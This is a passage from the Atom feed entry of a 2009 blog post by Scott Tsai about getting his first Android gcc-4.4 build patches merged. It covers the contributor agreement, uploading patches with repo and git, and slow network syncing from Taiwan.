merged were reasonably painless. I followed the &lt;a href="http://source.android.com/submit-patches"&gt;submit-patches&lt;/a&gt; document and:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Signed the individual &lt;a href="https://review.source.android.com/Gerrit#settings,new-agreement"&gt;Contributor Agreement&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt; &lt;/span&gt;and uploaded my SSH key. &lt;/li&gt;&lt;li&gt;Used "repo status", "git commit -a", "repo upload" to upload my patches.&lt;/li&gt;&lt;/ul&gt;I do hate how the "repo" git wrapper script always wants to fetch the latest code from the network on "repo sync" and doesn't have a "repo checkout" command that works from my local git repositories without touching the network though. Connecting to &lt;a href="http://android.git.kernel.org"&gt;android.git.kernel.org&lt;/a&gt; from Taiwan &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; painfully slow.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8159065303739257757-6160663304363548071?l=blog.scottt.tw' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/ScottTsaisBlog/~4/H99djLFG70A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.scottt.tw/feeds/6160663304363548071/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.scottt.tw/2009/03/my-first-android-gcc-44-build-patches.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/6160663304363548071?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8159065303739257757/posts/default/6160663304363548071?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ScottTsaisBlog/~3/H99djLFG70A/my-first-android-gcc-44-build-patches.html" title="My first Android (gcc-4.4 build) patch" /><author><name>Scott Tsai</name><uri>https://profiles.google.com/100338462782014493617</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-wxnuCTGuLd0/AAAAAAAAAAI/AAAAAAAAAAA/UqPzl0LjY6o/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.scottt.tw/2009/03/my-first-android-gcc-44-build-patches.html</feedburner:origLink></entry></feed>

